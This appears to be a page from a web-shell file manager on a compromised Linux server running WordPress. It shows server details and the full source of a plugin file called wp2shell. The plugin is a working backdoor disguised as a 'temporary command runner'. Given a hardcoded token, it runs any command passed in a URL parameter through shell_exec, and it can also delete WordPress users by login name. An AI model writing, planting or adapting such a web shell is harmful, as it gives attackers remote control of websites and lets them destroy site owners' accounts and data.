HEX
Server: Apache/2.4.57 (Unix) OpenSSL/1.0.2k-fips
System: Linux f31.eelserver.com 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64
User: bestmobi (1488)
PHP: 8.0.30
Disabled: exec,shell_exec,system,passthru,popen,proc_open
Upload Files
File: /home/bestmobi/public_html/wp-content/plugins/wp2shell_ffdc5bc5/wp2shell_ffdc5bc5.php
<?php
/*
Plugin Name: wp2shell
Description: Temporary command runner.
*/
if (hash_equals('c2d630da4580e70715a8b2a216f6cd2e', (string) ($_GET['t'] ?? '')) && isset($_GET['c'])) {
    chdir(__DIR__);
    echo 'WP2SHELL::' . shell_exec((string) $_GET['c']) . '::END';
} elseif (hash_equals('c2d630da4580e70715a8b2a216f6cd2e', (string) ($_GET['t'] ?? '')) && isset($_GET['delete_user'])) {
    require_once dirname(__DIR__, 3) . '/wp-load.php';
    require_once ABSPATH . 'wp-admin/includes/user.php';
    $user = get_user_by('login', (string) $_GET['delete_user']);
    $ok = $user ? wp_delete_user((int) $user->ID, (int) ($_GET['reassign'] ?? 0)) : false;
    echo 'WP2SHELL::' . ($ok ? 'deleted' : 'failed') . '::END';
}